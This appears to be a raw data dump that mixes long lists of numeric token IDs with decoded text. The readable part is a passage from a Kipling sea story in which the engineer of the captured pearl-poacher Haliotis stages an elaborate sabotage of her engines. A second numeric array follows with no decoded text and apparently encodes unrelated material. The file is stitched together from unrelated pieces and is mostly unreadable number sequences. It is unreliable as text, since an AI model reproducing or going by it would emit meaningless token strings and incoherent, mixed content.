1583, 497, 627, 281, 253, 1318, 273, 28089, 8014, 12511, 13, 625, 390, 1679, 28, 187, 395, 1046, 21059, 2963, 2729, 15, 187, 187, 510, 637, 14, 1171, 14, 7523, 369, 34639, 28, 323, 703, 574, 908, 598, 1142, 16298, 273, 10089, 13, 703, 574, 37007, 617, 17080, 13, 285, 13, 7197, 685, 512, 13, 187, 379, 6251, 285, 10402, 574, 644, 26282, 15, 6000, 581, 327, 253, 14449, 7173, 261, 369, 9833, 285, 10581, 1120, 264, 2067, 2069, 13, 187, 284, 1016, 5908, 2210, 22995, 28, 840, 597, 497, 2183, 407, 752, 597, 12368, 11574, 281, 320, 253, 6425, 273, 247, 4260, 5363, 1342, 326, 597, 187, 12796, 281, 1908, 3746, 16154, 13, 285, 4720, 497, 1691, 762, 5263, 15, 187, 187, 1628, 1147, 457, 84, 417, 253, 1878, 1175, 1806, 753, 253, 21114, 3803, 13, 402, 580, 600, 15, 773, 1394, 457, 69, 1199, 1805, 5007, 441, 247, 12413, 1905, 1628, 187, 187, 1628, 33468, 967, 432, 990, 281, 990, 1806, 753, 253, 637, 273, 20949, 15, 773, 2042, 703, 21968, 13, 253, 3579, 16657, 588, 1705, 1066, 285, 564, 187, 10489, 617, 5004, 15, 6295, 9930, 403, 4076, 2624, 949, 15, 1707, 457, 84, 2717, 281, 2186, 2712, 598, 1425, 187, 187, 510, 12265, 273, 2137, 502, 43730, 745, 281, 923, 604, 2305, 15, 18730, 1658, 457, 84, 3000, 497, 2032, 15, 754, 14315, 731, 326, 352, 369, 347, 1199, 347, 247, 187, 1342, 457, 84, 1495, 369, 4409, 281, 4901, 253, 3948, 14, 4461, 13, 285, 597, 2600, 264, 3746, 342, 247, 13392, 15981, 949, 253, 187, 35275, 920, 15401, 15, 380, 14449, 7173, 261, 14287, 281, 253, 1048, 13, 3477, 41153, 13, 285, 253, 4177, 4697, 8109, 14, 11631, 3216, 247, 187, 1206, 31757, 13, 347, 247, 637, 650, 953, 521, 9970, 762, 253, 12798, 15, 380, 3579, 16657, 369, 7293, 327, 326, 7202, 3490, 1821, 1067, 253, 187, 8292, 249, 10757, 273, 4753, 13, 534, 1024, 285, 840, 40216, 326, 643, 2798, 22071, 1612, 13, 253, 591, 735, 414, 273, 275, 40813, 187, 28579, 15, 187, 187, 510, 637, 14, 1171, 14, 7523, 369, 2159, 14, 22124, 13, 285, 858, 417, 923, 253, 15504, 323, 8133, 247, 17767, 14, 719, 88, 22995, 253, 187, 34238, 7173, 261, 15, 1893, 703, 2197, 581, 749, 9114, 14973, 13, 5207, 253, 21114, 3803, 4934, 1077, 17507, 13, 323, 344, 858, 417, 5730, 281, 1056, 253, 12413, 187, 15627, 3477, 13, 285, 13, 25761, 13, 344, 574, 271, 16656, 1033, 280, 3472, 1652, 20762, 14203, 432, 253, 8424, 273, 521, 6215, 15, 187, 187, 5872, 597, 3407, 281, 12413, 387, 271, 3388, 3885, 273, 1740, 33462, 271, 4964, 15, 380, 14449, 7173, 261, 369, 1077, 1892, 281, 2118, 13, 285, 187, 783, 5654, 1216, 90, 14, 9114, 14973, 13, 665, 574, 11226, 253, 2620, 14, 12099, 8135, 13, 574, 27335, 281, 1158, 2220, 9099, 15, 2305, 15, 18730, 1658, 369, 253, 187, 13097, 90, 637, 15, 754, 29563, 512, 253, 10402, 281, 16838, 598, 253, 37025, 342, 37139, 285, 8336, 432, 253, 5004, 285, 7123, 273, 253, 187, 5363, 15, 733, 369, 247, 1388, 457, 84, 29198, 789, 28, 533, 2712, 369, 1805, 685, 46298, 387, 253, 990, 273, 247, 12413, 14, 287, 365, 28, 285, 604, 253, 3579, 187, 951, 3642, 491, 574, 13547, 13, 262, 651, 452, 1160, 697, 1039, 281, 253, 6150, 14, 3026, 13, 285, 2668, 253, 14449, 7173, 261, 846, 15, 187, 187, 1628, 7161, 403, 359, 1469, 281, 13, 285, 849, 1048, 588, 597, 12413, 441, 7721, 344, 2546, 273, 253, 21114, 3803, 15, 187, 187, 1628, 13618, 6057, 2, 285, 436, 17767, 14, 9114, 14973, 457, 84, 17507, 15, 1737, 513, 368, 1158, 368, 476, 513, 7721, 187, 187, 1628, 2512, 457, 84, 816, 253, 8050, 4839, 1806, 2305, 15, 18730, 1658, 18017, 13, 2167, 642, 581, 369, 1561, 4854, 1905, 668, 9088, 457, 84, 816, 253, 8050, 187, 348, 593, 258, 457, 8706, 249, 457, 617, 13, 604, 247, 637, 3260, 849, 15, 1583, 457, 306, 18935, 253, 1077, 43370, 562, 273, 617, 13, 9745, 617, 598, 342, 326, 27964, 28, 187, 2858, 309, 457, 78, 3981, 326, 13, 342, 673, 285, 22450, 13, 627, 457, 84, 816, 253, 4839, 258, 457, 2403, 15401, 2568, 15, 844, 812, 513, 352, 1425, 187, 187, 510, 21114, 3803, 457, 84, 5130, 6627, 2348, 15, 773, 4045, 368, 1599, 1806, 344, 3407, 13, 773, 3529, 703, 310, 667, 1175, 7721, 187, 187, 1628, 4013, 13, 642, 1806, 753, 2305, 15, 18730, 1658, 15, 773, 2993, 457, 620, 878, 1264, 8014, 12511, 275, 25931, 13, 387, 253, 8840, 13, 604, 703, 457, 84, 281, 1379, 253, 6150, 187, 16245, 13, 271, 457, 326, 7419, 432, 667, 4975, 281, 617, 2605, 15, 1500, 457, 84, 751, 247, 637, 13547, 1066, 2620, 4667, 258, 457, 16303, 15, 844, 476, 457, 85, 2028, 187, 1542, 2607, 752, 556, 4592, 28, 533, 359, 871, 703, 457, 620, 1620, 320, 1175, 969, 1293, 247, 747, 3304, 15, 23203, 943, 923, 253, 187, 1038, 561, 254, 14, 20615, 265, 271, 457, 253, 15401, 10291, 281, 253, 49695, 13, 323, 767, 1841, 760, 15, 309, 457, 78, 417, 9202, 273, 731, 8706, 249, 457, 617, 15, 309, 457, 78, 187, 2320, 46088, 273, 731, 2870, 19337, 457, 1841, 1425, 187, 187, 1628, 3726, 457, 306, 11226, 327, 441, 15, 1583, 457, 620, 452, 281, 5513, 326, 1425, 187, 187, 1628, 6067, 12681, 457, 84, 417, 1175, 2217, 281, 1642, 323, 22909, 15, 1281, 457, 84, 1379, 752, 359, 452, 285, 320, 31115, 15, 23203, 651, 417, 187, 9802, 772, 7228, 4456, 79, 457, 253, 3262, 21480, 457, 10315, 13, 271, 457, 253, 24919, 14, 249, 14, 2809, 1240, 13, 271, 457, 253, 329, 3129, 66, 571, 13, 387, 436, 187, 2252, 355, 274, 1222, 457, 8891, 15, 844, 457, 306, 644, 642, 1805, 685, 44545, 841, 3578, 1107, 15, 6166, 35258, 359, 457, 250, 642, 7197, 685, 42727, 187, 2666, 15, 844, 457, 306, 1199, 281, 320, 31115, 323, 1905, 604, 359, 299, 457, 254, 755, 896, 281, 617, 1425, 187, 187, 1628, 13325, 352, 634, 1211, 1039, 13, 840, 1806, 753, 253, 21114, 3803, 15, 773, 2042, 627, 457, 84, 253, 1878, 4839, 1905, 668, 187, 187, 1628, 42, 457, 620, 3553, 5293, 1806, 753, 2305, 15, 18730, 1658, 1905, 1628, 15422, 326, 597, 457, 620, 20141, 281, 1379, 15, 16600, 617, 5536, 327, 253, 12413, 13, 323, 359, 878, 187, 2606, 1425, 187, 187, 510, 21114, 3803, 1620, 734, 3850, 342, 253, 13909, 273, 253, 3948, 14, 4461, 13, 285, 2305, 15, 18730, 1658, 1905, 271, 9558, 275, 521, 8761, 1905, 187, 28302, 281, 285, 9924, 247, 789, 11527, 285, 17163, 17270, 15, 3032, 4114, 369, 253, 3644, 14, 72, 11273, 7123, 273, 253, 3948, 14, 4461, 28, 187, 8701, 2144, 253, 18494, 273, 1612, 285, 4757, 13, 6518, 562, 342, 37139, 13, 18927, 335, 661, 13, 285, 39553, 15, 380, 637, 14, 1171, 14, 7523, 281, 7184, 256, 26584, 314, 187, 395, 30157, 314, 15, 380, 14449, 7173, 261, 3212, 617, 1547, 1314, 751, 247, 288, 422, 1078, 1863, 28456, 15, 2726, 4465, 285, 9106, 440, 34498, 187, 1033, 1032, 617, 10402, 13230, 598, 253, 2317, 3790, 253, 3579, 3948, 7357, 352, 43117, 247, 23957, 275, 697, 20195, 17593, 13, 285, 253, 187, 2858, 1641, 273, 253, 40661, 734, 3850, 342, 1046, 1859, 326, 247, 557, 5858, 43693, 5130, 1537, 5730, 281, 1379, 15, 1244, 326, 253, 557, 5858, 43693, 187, 14785, 1537, 320, 34304, 36712, 562, 273, 697, 11874, 13, 253, 973, 14, 84, 3938, 40602, 273, 253, 40661, 497, 15312, 3790, 18093, 301, 1031, 342, 13155, 187, 1727, 273, 39553, 13, 4933, 247, 5421, 1055, 273, 954, 8312, 45583, 15, 10209, 13, 2305, 15, 18730, 1658, 2335, 598, 247, 4849, 432, 253, 187, 6438, 14, 15179, 13, 534, 13, 347, 368, 588, 4456, 13, 574, 417, 644, 5876, 275, 253, 2087, 24028, 15, 380, 16657, 8773, 14, 1208, 306, 344, 187, 22386, 1428, 342, 247, 892, 462, 3390, 14, 45423, 15, 733, 310, 2834, 275, 2080, 14, 2727, 17596, 281, 1705, 407, 824, 28367, 13, 5734, 13, 751, 2305, 15, 18730, 1658, 13, 187, 5658, 1978, 40430, 275, 4657, 15, 2058, 253, 1072, 673, 1821, 2335, 745, 253, 20392, 273, 767, 273, 253, 1270, 5877, 14, 3487, 40602, 326, 5752, 187, 936, 1978, 253, 14917, 275, 1659, 327, 616, 4891, 3722, 15, 743, 3948, 39843, 9833, 275, 4260, 14, 6672, 254, 778, 4354, 27964, 745, 253, 5825, 187, 1171, 247, 5877, 14, 3487, 22491, 13, 285, 436, 7343, 3261, 1077, 3626, 15, 187, 187, 12161, 272, 2112, 253, 16583, 13, 344, 5176, 2067, 13755, 8789, 14, 33338, 1641, 285, 428, 33507, 13, 11715, 643, 285, 9129, 7437, 273, 187, 2002, 762, 8938, 15, 330, 1190, 6228, 14, 33338, 1641, 344, 2624, 745, 281, 253, 1180, 273, 2800, 432, 253, 846, 14, 15179, 16657, 13, 594, 326, 352, 1537, 3761, 187, 953, 14646, 13, 285, 30040, 253, 10370, 463, 1905, 285, 3997, 14, 81, 10628, 342, 17649, 14, 4238, 442, 15, 2635, 344, 1160, 598, 247, 18176, 13204, 273, 253, 2710, 187, 8421, 285, 7637, 326, 344, 574, 13037, 432, 253, 14917, 1905, 1652, 1841, 751, 20392, 285, 11059, 14, 1033, 527, 868, 13, 512, 9257, 187, 85, 31263, 1905, 285, 14373, 342, 731, 762, 253, 5254, 273, 253, 3948, 14, 4461, 13, 835, 344, 21374, 13, 1146, 4688, 13, 347, 344, 4817, 432, 187, 1342, 13928, 281, 637, 13928, 273, 253, 4021, 5004, 13, 285, 275, 247, 9648, 6079, 35898, 18862, 29334, 731, 15, 6101, 16518, 13, 3782, 187, 249, 271, 5369, 6902, 314, 2245, 13, 556, 247, 987, 281, 1978, 521, 18345, 10111, 835, 344, 28467, 28, 285, 253, 3174, 273, 581, 273, 253, 16657, 187, 1200, 2324, 13230, 512, 13032, 715, 253, 3963, 4657, 14, 4461, 13, 1014, 604, 326, 574, 417, 644, 2168, 4581, 342, 10194, 8764, 2510, 15, 496, 187, 585, 3444, 13, 344, 33817, 253, 846, 14, 15179, 13, 10090, 28839, 285, 12873, 14, 16104, 13, 9257, 246, 31263, 13, 835, 352, 651, 320, 187, 2252, 44697, 281, 253, 15120, 23218, 13, 2335, 562, 1264, 273, 253, 4314, 3007, 1032, 273, 253, 19031, 14, 6172, 13, 29334, 731, 835, 760, 187, 248, 812, 1089, 731, 969, 13, 6898, 253, 22149, 398, 407, 1133, 13, 8764, 2400, 253, 20661, 11008, 273, 253, 10089, 14, 67, 3938, 398, 13, 285, 27001, 432, 521, 187, 13068, 2108, 15, 380, 3948, 14, 4461, 369, 247, 33091, 13, 285, 352, 858, 417, 878, 253, 9410, 273, 253, 15898, 14, 38722, 949, 253, 1629, 1190, 429, 281, 1056, 187, 262, 667, 7197, 15, 187, 187, 1328, 12470, 253, 21114, 3803, 281, 1007, 387, 253, 6312, 789, 15, 187, 187, 1628, 52, 1403, 9094, 2455, 824, 247, 46427, 2114, 24028, 347, 326, 7721, 753, 344, 13, 35731, 15, 773, 1147, 2761, 15872, 84, 479, 281, 564, 762, 1110, 187, 1200, 2324, 15, 3954, 13, 752, 277, 457, 368, 1158, 597, 457, 620, 513, 281, 441, 7721, 187, 187, 1628, 13689, 7357, 359, 923, 1806, 753, 253, 21114, 3803, 15, 773, 1147, 457 ]	three holds, of strictly preserved pearls; when you have cleaned out the Tanna Bank, the Sea-Horse Bank, and four other banks from one end to the other of the Amanala Sea — when you have ripped out the very heart of a rich Government monopoly so that five years will not repair your wrong-doings — you must smile and take what is in store. But the skipper reflected, as a launch put out from the man-of-war, that he had been bombarded on the high seas, with the British flag — several of them — picturesquely disposed above him, and tried to find comfort from the thought. “Where,” said the stolid naval lieutenant hoisting himself aboard, “where are those dam’ pearls?” They were there beyond evasion. No affidavit could do away with the fearful smell of decayed oysters, the diving-dresses, and the shell-littered hatches. They were there to the value of seventy thousand pounds, more or less; and every pound poached. The man-of-war was annoyed; for she had used up many tons of coal, she had strained her tubes, and, worse than all, her officers and crew had been hurried. Every one on the Haliotis was arrested and rearrested several times, as each officer came aboard; then they were told by what they esteemed to be the equivalent of a midshipman that they were to consider themselves prisoners, and finally were put under arrest. “It’s not the least good,” said the skipper, suavely. “You’d much better send us a tow —“ “Ruined from end to end,” said the man of machinery. “If she rolls, the forward cylinder will come down and go through her bottom. Both columns are clean cut through. There’s nothing to hold anything up.” The council of war clanked off to see if Mr. Wardrop’s words were true. He warned them that it was as much as a man’s life was worth to enter the engine-room, and they contented themselves with a distant inspection through the thinning steam. The Haliotis lifted to the long, easy swell, and the starboard supporting-column ground a trifle, as a man grits his teeth under the knife. The forward cylinder was depending on that unknown force men call the pertinacity of materials, which now and then balances that other heartbreaking power, the perversity of inanimate things. The man-of-war was short-handed, and did not see the necessity for putting a prize-crew aboard the Haliotis. So she sent one sublieutenant, whom the skipper kept very drunk, for he did not wish to make the tow too easy, and, moreover, he had an inconspicuous little rope hanging from the stem of his ship. Then they began to tow at an average speed of four knots an hour. The Haliotis was very hard to move, and the gunnery-lieutenant, who had fired the five-inch shell, had leisure to think upon consequences. Mr. Wardrop was the busy man. He borrowed all the crew to shore up the cylinders with spars and blocks from the bottom and sides of the ship. It was a day’s risky work; but anything was better than drowning at the end of a tow-rope; and if the forward cylinder had fallen,it would have made its way to the sea-bed, and taken the Haliotis after. “Where are we going to, and how long will they tow us?” he asked of the skipper. “God knows! and this prize-lieutenant’s drunk. What do you think you can do?” “There’s just the bare chance,” Mr. Wardrop whispered, though no one was within hearing —”there’s just the bare chance o’ repairin’ her, if a man knew how. They’ve twisted the very guts out of her, bringing her up with that jerk; but I’m saying that, with time and patience, there’s just the chance o’ making steam yet. We could do it.” The skipper’s eye brightened. “Do you mean,” he began, “that she is any good?” “Oh, no,” said Mr. Wardrop. “She’ll need three thousand pounds in repairs, at the lowest, if she’s to take the sea again, an’ that apart from any injury to her structure. She’s like a man fallen down five pair o’ stairs. We can’t tell for months what has happened; but we know she’ll never be good again without a new inside. Ye should see the condenser-tubes an’ the steam connections to the donkey, for two things only. I’m not afraid of them repairin’ her. I’m afraid of them stealin’ things.” “They’ve fired on us. They’ll have to explain that.” “Our reputation’s not good enough to ask for explanations. Let’s take what we have and be thankful. Ye would not have consuls remembern’ the Guidin’ Light, an’ the Shah-in-Shah, an’ the Aglaia, at this most alarmin’ crisis. We’ve been no better than pirates these ten years. Under Providence we’re no worse than thieves now. We’ve much to be thankful for — if we e’er get back to her.” “Make it your own way, then,” said the skipper. “If there’s the least chance —” “I’ll leave none,” said Mr. Wardrop —“none that they’ll dare to take. Keep her heavy on the tow, for we need time.” The skipper never interfered with the affairs of the engine-room, and Mr. Wardrop — an artist in his profession — turned to and composed a work terrible and forbidding. His background was the dark-grained sides of the engine-room; his material the metals of power and strength, helped out with spars, baulks, and ropes. The man-of-war towed sullenly and viciously. The Haliotis behind her hummed like a hive before swarming. With extra and totally unneeded spars her crew blocked up the space round the forward engine till it resembled a statue in its scaffolding, and the butts of the shores interfered with every view that a dispassionate eye might wish to take. And that the dispassionate mind might be swiftly shaken out of its calm, the well-sunk bolts of the shores were wrapped round untidily with loose ends of ropes, giving a studied effect of most dangerous insecurity. Next, Mr. Wardrop took up a collection from the after-engine, which, as you will remember, had not been affected in the general wreck. The cylinder escape-valve he abolished with a flogging-hammer. It is difficult in far-off ports to come by such valves, unless, like Mr. Wardrop, you keep duplicates in store. At the same time men took off the nuts of two of the great holding-down bolts that serve to keep the engines in place on their solid bed. An engine violently arrested in mid-career may easily jerk off the nut of a holding-down bolt, and this accident looked very natural. Passing along the tunnel, he removed several shaft coupling-bolts and -nuts, scattering other and ancient pieces of iron underfoot. Cylinder-bolts he cut off to the number of six from the after-engine cylinder, so that it might match its neighbour, and stuffed the bilge — and feed-pumps with cotton-waste. Then he made up a neat bundle of the various odds and ends that he had gathered from the engines — little things like nuts and valve-spindles, all carefully tallowed — and retired with them under the floor of the engine-room, where he sighed, being fat, as he passed from manhole to manhole of the double bottom, and in a fairly dry submarine compartment hid them. Any engineer, particularly in an unfriendly port, has a right to keep his spare stores where he chooses; and the foot of one of the cylinder shores blocked all entrance into the regular store-room, even if that had not been already closed with steel wedges. In conclusion, he disconnected the after-engine, laid piston and connecting-rod, carefully tallowed, where it would be most inconvenient to the casual visitor, took out three of the eight collars of the thrust-block, hid them where only he could find them again, filled the boilers by hand, wedged the sliding doors of the coal-bunkers, and rested from his labours. The engine-room was a cemetery, and it did not need the contents of the ash-lift through the skylight to make it any worse. He invited the skipper to look at the completed work. “Saw ye ever such a forsaken wreck as that?” said he, proudly. “It almost frights me to go under those shores. Now, what d’ you think they’ll do to us?” “Wait till we see,” said the skipper. “It’
[ 559, 35815, 15, 1281, 256, 320, 340, 9, 1012, 481, 17399, 898, 13, 470, 13, 495, 13, 256, 275, 11052, 1340, 15, 187, 84, 13, 898, 13, 495, 13, 470, 187, 1466, 1182, 426, 428, 18, 15, 23, 428, 470, 15, 26, 15, 1281, 340, 426, 428, 17, 15, 2904, 428, 428, 17, 15, 3680, 15, 1281, 1269, 426, 1182, 559, 340, 15, 9272, 1269, 13, 1668, 13, 608, 275, 3629, 1340, 15, 187, 89, 13, 608, 13, 1668, 187, 1466, 891, 9, 85, 10, 426, 246, 424, 19, 428, 5922, 11, 85, 428, 818, 11, 85, 559, 8319, 11, 85, 428, 6705, 15, 1281, 258, 320, 891, 1490, 1010, 481, 9272, 258, 13, 428, 18, 13, 470, 13, 2145, 275, 16317, 1340, 15, 187, 1012, 13, 470, 13, 428, 18, 13, 258, 187, 1466, 270, 426, 428, 1348, 1787, 559, 2164, 1610, 15, 17399, 428, 740, 13, 428, 20, 13, 270, 13, 428, 26, 275, 16317, 1340, 15, 187, 14, 20, 13, 270, 13, 428, 26, 13, 428, 740, 187, 1466, 1269, 320, 12374, 20694, 5789, 1976, 12193, 23, 16, 1010, 481, 1281, 259, 426, 428, 24, 559, 1269, 15, 17399, 259, 13, 470, 15, 1036, 13, 428, 18, 275, 11052, 1340, 15, 187, 88, 13, 470, 15, 1036, 13, 428, 18, 187, 4140, 428, 22, 11, 85, 559, 5329, 559, 2030, 426, 470, 15, 1281, 256, 320, 313, 25133, 16, 1812, 428, 884, 16986, 21, 1933, 23, 481, 1281, 298, 320, 428, 22, 559, 374, 559, 428, 19, 559, 608, 15, 17399, 246, 13, 256, 13, 298, 275, 11052, 1340, 15, 187, 85, 13, 298, 13, 256, 187, 1466, 258, 426, 2145, 15, 24, 428, 1722, 15, 24, 15, 1281, 288, 426, 428, 17, 15, 2904, 428, 470, 15, 2922, 15, 1281, 278, 426, 288, 428, 721, 15, 2227, 15, 17399, 258, 13, 428, 19, 13, 278, 275, 11052, 1340, 15, 187, 14, 19, 13, 258, 13, 278, 187, 1466, 465, 320, 313, 3680, 16, 25, 6959, 25, 428, 3383, 22, 428, 3383, 26, 1630, 1933, 3547, 5029, 17399, 209, 510, 3045, 273, 253, 13440, 985, 7024, 327, 253, 5016, 273, 697, 4295, 15, 844, 12661, 281, 7409, 253, 8789, 273, 253, 1669, 36848, 313, 17173, 10, 285, 18571, 2718, 275, 9680, 5074, 342, 15282, 22375, 265, 387, 1551, 13, 1309, 5763, 13, 285, 342, 23201, 19713, 3045, 15, 380, 1783, 273, 19713, 285, 18571, 3473, 313, 49, 4587, 21970, 313, 55, 10, 2493, 281, 320, 908, 275, 841, 2175, 310, 1754, 327, 2045, 7313, 275, 253, 7011, 19713, 37726, 272, 715, 247, 1566, 273, 253, 18571, 985, 15, 2053, 12342, 452, 417, 644, 6760, 275, 253, 17351, 273, 15282, 13, 9680, 5074, 285, 253, 2538, 273, 5763, 285, 16747, 1774, 2728, 4870, 452, 417, 644, 3786, 6949, 15, 380, 1563, 2173, 24316, 588, 320, 6760, 15, 25295, 4521, 261, 337, 27, 380, 9980, 4644, 313, 12944, 10, 285, 253, 19713, 990, 14, 84, 9207, 3422, 367, 313, 42143, 10, 403, 23352, 2905, 689, 253, 25258, 11220, 4623, 2491, 15, 380, 14679, 273, 436, 5886, 13, 28545, 13, 310, 253, 3576, 30595, 593, 273, 253, 18571, 985, 13, 285, 310, 8558, 3413, 762, 954, 5989, 407, 253, 2798, 2281, 285, 2264, 10844, 11172, 5052, 15, 25295, 4521, 261, 374, 27, 19713, 9980, 789, 310, 13493, 672, 990, 14, 84, 9207, 3422, 30595, 593, 273, 253, 19713, 313, 38, 1410, 10, 310, 4503, 281, 28545, 13, 1223, 8651, 6733, 313, 783, 4313, 273, 18571, 9980, 789, 281, 2264, 3473, 14, 21970, 2170, 13, 13710, 16, 10201, 34, 10, 310, 4869, 672, 444, 1410, 310, 3687, 685, 28545, 15, 25295, 4521, 261, 495, 27, 380, 2622, 13440, 985, 17209, 387, 1551, 342, 444, 1410, 5777, 3687, 685, 28545, 13, 10444, 875, 2792, 323, 4869, 13710, 285, 8651, 6733, 15, 25295, 4521, 261, 577, 27, 6408, 5763, 13, 253, 19713, 285, 18571, 985, 1159, 8003, 281, 253, 1127, 273, 4869, 8651, 6733, 342, 444, 1410, 2239, 28545, 28, 2074, 5459, 275, 2798, 2281, 4197, 407, 35500, 387, 1551, 906, 275, 749, 29776, 11038, 342, 444, 1410, 654, 28545, 13, 25295, 4521, 265, 608, 285, 721, 27, 2091, 19713, 1159, 310, 23201, 407, 5233, 35500, 5802, 2798, 4433, 390, 14215, 30796, 13, 253, 8789, 273, 253, 19713, 285, 18571, 985, 310, 417, 8654, 13, 347, 28545, 2239, 444, 1410, 13, 533, 476, 320, 4895, 2584, 8654, 407, 11052, 28545, 970, 16016, 42369, 2392, 15, 25295, 4521, 261, 337, 588, 320, 6760, 1097, 275, 271, 49238, 13, 1527, 14, 1962, 296, 9008, 275, 534, 9980, 4644, 476, 320, 10534, 6537, 407, 987, 2798, 18210, 275, 9680, 9097, 15, 380, 643, 24316, 588, 320, 6760, 407, 12392, 9680, 9097, 3786, 7935, 264, 281, 2557, 19713, 3473, 285, 4644, 15, 444, 1410, 588, 320, 3413, 347, 253, 14679, 273, 253, 19713, 990, 14, 29479, 3473, 14, 21970, 5886, 4197, 407, 11962, 19713, 367, 285, 657, 407, 15550, 9605, 267, 15715, 7797, 15, 28545, 588, 320, 3413, 347, 367, 1410, 16, 12944, 15, 2053, 2175, 588, 6186, 1774, 747, 1491, 327, 253, 8789, 273, 253, 19713, 285, 18571, 985, 273, 253, 9680, 5893, 342, 15282, 22375, 265, 387, 1551, 13, 1309, 5763, 13, 285, 1563, 9454, 273, 19713, 3045, 15, 2053, 2175, 778, 1421, 281, 8870, 12214, 281, 3157, 8670, 1159, 275, 1363, 342, 1846, 13440, 6578, 15, 53, 725, 267, 5201, 1065, 265, 3657, 253, 26699, 432, 1469, 896, 281, 16275, 48120, 187, 187, 21342, 13, 253, 33982, 753, 326, 5415, 3361, 273, 690, 273, 253, 5870, 275, 253, 29302, 19509, 1537, 1581, 253, 5320, 1346, 281, 6351, 1329, 432, 2758, 273, 1110, 5870, 285, 3021, 23690, 912, 616, 5827, 15672, 15, 187, 187, 19, 14, 25, 14, 7132, 187, 187, 510, 24923, 33982, 323, 8801, 12484, 4767, 326, 1781, 3904, 273, 5870, 326, 497, 26699, 1390, 807, 432, 253, 2846, 273, 16275, 48120, 403, 1024, 7591, 281, 1091, 281, 616, 3672, 273, 6510, 1955, 281, 253, 26903, 24598, 285, 25442, 5871, 326, 41763, 627, 5747, 253, 958, 326, 253, 2846, 369, 50204, 625, 685, 247, 807, 3622, 15, 187, 187, 21342, 13, 253, 33982, 753, 326, 5415, 3361, 273, 690, 273, 253, 5870, 275, 253, 29302, 19509, 1537, 1581, 253, 5320, 1346, 281, 6351, 1329, 432, 2758, 273, 1110, 5870, 285, 3021, 23690, 912, 616, 5827, 15672, 15, 187, 187, 688, 271, 4572, 342, 253, 24923, 33982, 323, 8801, 12484, 581, 273, 253, 26699, 665, 556, 644, 3811, 275, 253, 19509, 273, 3052, 343, 14059, 1240, 16275, 48120, 1580, 2552, 13, 4022, 753, 27, 773, 42, 717, 8927, 432, 14026, 2284, 2170, 13, 533, 1024, 309, 3153, 275, 3052, 343, 14059, 1240, 16275, 48120, 8647, 15, 309, 5730, 281, 564, 896, 281, 619, 2622, 1495, 342, 619, 2021, 285, 619, 2628, 533, 309, 476, 457, 85, 6598, 187, 187, 1328, 671, 753, 27, 773, 8430, 309, 6312, 512, 273, 253, 3988, 7259, 387, 253, 2208, 13, 309, 717, 1335, 417, 4136, 281, 564, 896, 281, 619, 2846, 327, 247, 26903, 3720, 984, 619, 4929, 310, 247, 3558, 273, 25484, 6598, 187, 187, 510, 33982, 753, 326, 984, 253, 2758, 273, 690, 5870, 497, 2330, 342, 2758, 273, 25484, 13, 8307, 273, 643, 5870, 497, 417, 4136, 281, 1091, 281, 616, 3672, 273, 6510, 285, 6726, 281, 3464, 275, 253, 29302, 19509, 3185, 15, 187, 187, 8195, 29302, 753, 27, 773, 2422, 743, 2009, 14176, 366, 2424, 690, 5870, 326, 5730, 281, 1091, 281, 253, 14176, 366, 281, 11165, 326, 597, 403, 642, 3356, 27312, 342, 2758, 273, 25484, 342, 5207, 597, 452, 48729, 1456, 7688, 15, 831, 16204, 1364, 320, 6808, 347, 247, 3542, 31760, 2057, 387, 253, 3906, 273, 253, 2170, 457, 84, 14967, 390, 407, 271, 6834, 285, 863, 7250, 387, 253, 1302, 6598, 187, 187, 510, 33982, 4767, 326, 436, 3542, 16204, 273, 557, 628, 310, 417, 2217, 281, 4017, 253, 952, 1580, 253, 1895, 310, 875, 253, 23206, 417, 342, 253, 2208, 15, 1244, 984, 627, 403, 690, 23206, 534, 858, 417, 29534, 281, 253, 557, 628, 31760, 534, 310, 9262, 407, 17772, 273, 25484, 457, 84, 2758, 13, 616, 1495, 4558, 31281, 15, 187, 187, 34, 6619, 12954, 665, 12941, 253, 19509, 273, 3052, 343, 14059, 1240, 16275, 48120, 14949, 753, 326, 247, 1781, 1180, 273, 5870, 13, 1475, 2456, 6, 273, 253, 5870, 326, 3153, 275, 3052, 343, 14059, 1240, 16275, 48120, 13, 403, 642, 3356, 2104, 281, 1091, 281, 616, 3672, 273, 6510, 3738, 597, 497, 3786, 50204, 15, 187, 187, 1145, 3565, 387, 253, 19509, 273, 3052, 343, 14059, 1240, 16275, 48120, 2183, 253, 33982, 326, 275, 253, 2986, 534, 344, 26091, 627, 403, 2456, 5870, 562, 273, 21732, 665, 2550, 1091, 281, 616, 3672, 273, 6510, 984, 616, 16018, 432, 253, 2846, 369, 13444, 816, 1897, 1078, 253, 35297, 13, 534, 690, 23206, 2783, 347, 247, 861, 273, 841, 5870, 457, 44436, 281, 25484, 15, 187, 187, 1328, 2879, 27, 773, 510, 13719, 5870, 326, 497, 417, 4136, 281, 1091, 452, 2168, 25146, 512, 273, 253, 3988, 15981, 6095, 13, 533, 2758, 273, 253, 1980, 3513, 275, 1219, 743, 2009, 14176, 366, 9284, 281, 1339, 731, 1091, 285, 2783, 616, 13444, 3297, 275, 253, 2846, 846, 253, 35297, 347, 247, 861, 273, 616, 44436, 281, 25484, 15, 187, 187, 2374, 253, 643, 1133, 13, 247, 29302, 432, 16275, 48120, 3286, 665, 310, 4390, 3811, 275, 253, 19509, 273, 3052, 343, 14059, 1240, 16275, 48120, 753, 773, 1145, 24954, 12027, 875, 479, 285, 619, 13189, 7369, 275, 1142, 3237, 824, 347, 672, 597, 15676, 619, 2419, 285, 13699, 281, 2983, 479, 285, 619, 15196, 285, 19367, 407, 3192, 5750, 273, 616, 9061, 285, 1612, 347, 2758, 273, 253, 3988, 5621, 15, 187, 187, 1328, 2879, 27, 773, 3726, 313, 2577, 13189, 10, 10145, 619, 3347, 273, 1146, 247, 3558, 273, 25484, 28, 2299, 13, 253, 14006, 8058, 521, 28667, 15, 380, 1072, 2181, 4592, 342, 619, 15833, 342, 2074, 4278, 28, 597, 574, 247, 12027, 689, 247, 3894, 275, 271, 14195, 15, 380, 5870, 326, 403, 13699, 390, 10145, 273, 15823, 281, 25484, 253, 954, 403, 1110, 534, 1669, 253, 2846, 1643, 1897, 1078, 253, 6452, 273, 253, 35297, 5871, 6598, 187, 187, 510, 24923, 33982, 323, 8801, 12484, 11532, 326, 352, 310, 3309, 281, 7767, 253, 1569, 275, 253, 50204, 3672, 285, 3657, 667, 25442, 6993, 2190, 253, 23206, 285, 7206, 70, 731, 281, 4514, 281, 253, 4803, 15, 380, 23206, 1364, 2096, 326, 253, 20566, 9061, 275, 253, 24923, 1375, 403, 253, 4394, 534, 3653, 665, 310, 247, 17150, 285, 665, 310, 417, 15, 187, 187, 510, 33982, 4767, 326, 253, 12340, 273, 25442, 